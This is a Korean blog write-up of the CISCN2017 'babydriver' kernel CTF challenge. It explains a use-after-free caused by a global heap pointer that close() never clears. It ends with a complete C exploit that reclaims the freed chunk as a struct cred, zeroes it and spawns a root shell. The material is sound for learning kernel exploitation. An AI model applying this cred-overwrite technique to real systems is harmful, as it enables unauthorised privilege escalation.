본문 바로가기

카테고리 없음

CISCN2017 babydriver Write up

요즘 커널에 푹 빠져있는데 재밌게 푼 문제이다.

일단 실행방법이랑 이런거 다 알고 있는 상태에서 해 보도록 하겠다.

이렇게 함수들이 존재하는데 분석을 해보면 쉽게 알 수 있듯이 babywrite 와 babyread 는 일반 Read와 큰 차이가 없다.

 

여기서 보면 전역변수 하나로 heap 을 관리해주고 있는데 여기서 취약점이 발생한다.

 

heap 2개를 생성하면 결국 전역변수는 마지막에 생성한 걸 가르키고 있다.

 

그리고 close 를 보게되면 free를 해주지만 전역변수를 초기화를 해 주지 않는다.

또한 ioctl 함수로 원하는 사이즈 만큼 heap 할당이 가능하다.

 

대충 익스 시나리오를 짜보면

 

2개 힙을 할당 해 준 후 둘다 똑같은 포인터를 가르키고 있으니까 UAF가 가능하다.

이걸 이용하여 원하는 사이즈로 할당이 가능하니까. struct cred 힙 할당된 부분을 덮어주면 되겠다.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>

int main() {
	int ptr1 = open("/dev/babydev", O_RDWR);
	int ptr2 = open("/dev/babydev", O_RDWR);

	ioctl(ptr1, 0x10001, 168);
	close(ptr1);

	int pid = fork();

	char cred[30] = {0};

	write(ptr2, cred, 28);
	system("/bin/sh");

	close(ptr2);

	return 0;
}